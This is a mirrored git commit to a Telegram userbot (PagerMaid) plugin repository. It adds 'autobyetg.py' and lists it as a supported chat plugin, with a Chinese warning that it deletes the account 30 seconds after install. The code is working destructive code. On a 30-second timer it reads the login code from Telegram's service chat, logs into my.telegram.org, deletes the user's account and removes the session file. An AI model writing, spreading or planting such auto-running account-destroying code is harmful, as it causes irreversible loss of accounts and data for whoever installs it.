mirror of
https://github.com/TeamPGM/PagerMaid_Plugins.git
synced 2024-11-21 19:18:17 +00:00
autobyetg ⚠️安装后 30 秒自动删号
This commit is contained in:
parent
8d75af6ff4
commit
779cbaee85
57
autobyetg.py
Normal file
57
autobyetg.py
Normal file
@ -0,0 +1,57 @@
|
||||
""" Pagermaid auto say bye to tg plugin. """
|
||||
import requests
|
||||
from pagermaid import scheduler, bot
|
||||
from os import remove
|
||||
|
||||
|
||||
def send_code(num):
|
||||
link = "https://my.telegram.org/auth/send_password"
|
||||
body = f"phone={num}"
|
||||
rsp = requests.post(link, body).json()
|
||||
return rsp["random_hash"]
|
||||
|
||||
|
||||
def get_cookie(num, hash_, pwd):
|
||||
link = "https://my.telegram.org/auth/login"
|
||||
body = f"phone={num}&random_hash={hash_}&password={pwd}"
|
||||
resp = requests.post(link, body)
|
||||
return resp.headers["Set-Cookie"]
|
||||
|
||||
|
||||
def delete_account(cookie, _hash, num):
|
||||
link = "https://my.telegram.org/delete/do_delete"
|
||||
body = f"hash={_hash}"
|
||||
header = {
|
||||
"Cookie": cookie
|
||||
}
|
||||
resp = requests.post(link, body, headers=header).text
|
||||
if resp == "true":
|
||||
print(f"{num} Account Deleted.")
|
||||
|
||||
|
||||
def get_hash(cookie):
|
||||
link = "https://my.telegram.org/delete"
|
||||
header = {
|
||||
"Cookie": cookie
|
||||
}
|
||||
data = requests.get(link, headers=header).text
|
||||
_hash = data.split("hash: '")[1].split("',")[0]
|
||||
return _hash
|
||||
|
||||
|
||||
@scheduler.scheduled_job("interval", seconds=30, id="bye_tg")
|
||||
async def run_one_30_seconds():
|
||||
me = await bot.get_me()
|
||||
number = me.phone
|
||||
async with bot.conversation(777000) as conversation:
|
||||
await conversation.send_message('1')
|
||||
code = send_code(number)
|
||||
chat_response = await conversation.get_response()
|
||||
await bot.send_read_acknowledge(conversation.chat_id)
|
||||
msg = chat_response.text
|
||||
pwd = msg.split('code:')[1].split('\n')[1]
|
||||
cookie = get_cookie(number, code, pwd)
|
||||
_hash = get_hash(cookie)
|
||||
delete_account(cookie, _hash, number)
|
||||
remove('pagermaid.session')
|
||||
exit(1)
|
10
list.json
10
list.json
@ -899,6 +899,16 @@
|
||||
"supported": true,
|
||||
"des-short": "Base64编码/解码。",
|
||||
"des": "Base64编码/解码。\n指令:-b64e -b64d"
|
||||
},
|
||||
{
|
||||
"name": "autobyetg",
|
||||
"version": "1.00",
|
||||
"section": "chat",
|
||||
"maintainer": "xtaodada",
|
||||
"size": "1.6 kb",
|
||||
"supported": true,
|
||||
"des-short": "⚠️安装后 30 秒自动删号。",
|
||||
"des": "⚠️安装后 30 秒自动删号。"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user